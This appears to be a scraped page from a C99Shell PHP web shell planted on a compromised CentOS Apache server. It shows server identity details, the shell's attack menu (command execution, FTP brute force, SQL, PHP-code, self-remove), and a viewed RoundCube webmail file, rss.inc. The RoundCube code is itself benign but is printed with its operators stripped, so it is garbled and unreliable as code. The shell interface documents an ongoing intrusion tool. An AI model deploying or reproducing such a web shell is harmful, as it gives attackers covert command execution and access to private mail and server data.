!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/webmail/program/steps/mail/   drwxr-xr-x
Free 9.29 GB of 93.48 GB (9.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rss.inc (3.94 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 +-----------------------------------------------------------------------+
 | program/steps/mail/rss.inc                                            |
 |                                                                       |
 | This file is part of the RoundCube Webmail client                     |
 | Copyright (C) 2005-2007, RoundCube Dev. - Switzerland                 |
 | Licensed under the GNU GPL                                            |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Send mailboxcontents as RSS feed                                    |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Sjon Hortensius <sjon@hortensius.net>                         |
 +-----------------------------------------------------------------------+

 $Id: rss.inc 2672 2009-06-22 16:20:34Z alec $

*/


function rss_encode($string){
    
$string rep_specialchars_output($string'xml');
    return 
$string;
}


$REMOTE_REQUEST TRUE;
$OUTPUT_TYPE 'rss';

$webmail_url 'http';
if (
strstr('HTTPS'$_SERVER['SERVER_PROTOCOL'] )!== FALSE)
  
$webmail_url .= 's';
$webmail_url .= '://'.$_SERVER['SERVER_NAME'];
if (
$_SERVER['SERVER_PORT'] != '80')
    
$webmail_url .= ':'.$_SERVER['SERVER_PORT'];
$webmail_url .= '/';
if (
dirname($_SERVER['SCRIPT_NAME']) != '/')
    
$webmail_url .= dirname($_SERVER['SCRIPT_NAME']).'/';

$webmail_url .= '?_task=mail';

$messagecount_unread $IMAP->messagecount('INBOX''UNSEEN'TRUE);
$messagecount $IMAP->messagecount();

$sort_col 'date';
$sort_order 'DESC';

// Send global XML output
header('Content-type: text/xml');
echo 
'<?xml version="1.0" encoding="'.RCMAIL_CHARSET.'"?>
    <rss version="2.0"
     xmlns:dc="http://purl.org/dc/elements/1.1/"
     xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
     xmlns:admin="http://webns.net/mvcb/"
     xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
     xmlns:content="http://purl.org/rss/1.0/modules/content/">'
;

// Send channel-specific output
echo '
    <channel>
        <pubDate>'
.date('r').'</pubDate>
        <lastBuildDate>'
.date('r').'</lastBuildDate>
        <ttl>5</ttl>
        <docs>http://blogs.law.harvard.edu/tech/rss</docs>
        <description>INBOX contains '
.$messagecount.' messages, of which '.$messagecount_unread.' unread</description>
        <link>'
.rss_encode($webmail_url'xml') .'</link>
        <title>webmail for '
.rss_encode($_SESSION['username'].' @ '.$_SESSION['imap_host']).'</title>
        <generator>'
.rss_encode($CONFIG['useragent'], 'xml').' (RSS extension by Sjon Hortensius)</generator>
        <image>
            <link>http://www.roundcube.net/</link>
            <title>'
.rss_encode($CONFIG['product_name']).' logo</title>
            <url>'
.rss_encode($webmail_url.'skins/default/images/roundcube_logo.png').'</url>
        </image>'
;

// Check if the user wants to override the default sortingmethode
if (isset($_GET['_sort']))
  list(
$sort_col$sort_order) = explode('_'get_input_value('_sort'RCUBE_INPUT_GET));

// Add message to output
if ($messagecount 0)
  {
  
$items $IMAP->list_headers('INBOX'null$sort_col$sort_order);
  foreach (
$items as $item)
    {

    
// Convert '"name" <email>' to 'email (name)'
    
if (strstr($item->from'<'))
      
$item->from preg_replace('~"?([^"]*)"? <([^>]*)>~''\2 (\1)'$item->from);

    
$item->link $webmail_url.'&_task=mail&_action=show&_uid='.$item->uid.'&_mbox=INBOX';

    
$item->body $IMAP->get_body($item->uid);

    
// Print the actual messages
    
echo '
            <item>
                <title>'
.rss_encode($item->subject).'</title>
                <link>'
.rss_encode($item->link).'</link>
                <description><![CDATA['
."\n".nl2br(rss_encode($item->body))."\n".']]></description>
                <author>'
.rss_encode($item->from).'</author>
                <category></category>
                <guid>'
.rss_encode($item->link).'</guid>
                <pubDate>'
.date('r'$item->timestamp).'</pubDate>
            </item>'
;
    }
  }

echo 
'</channel>
</rss>'
;

exit;
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0042 ]--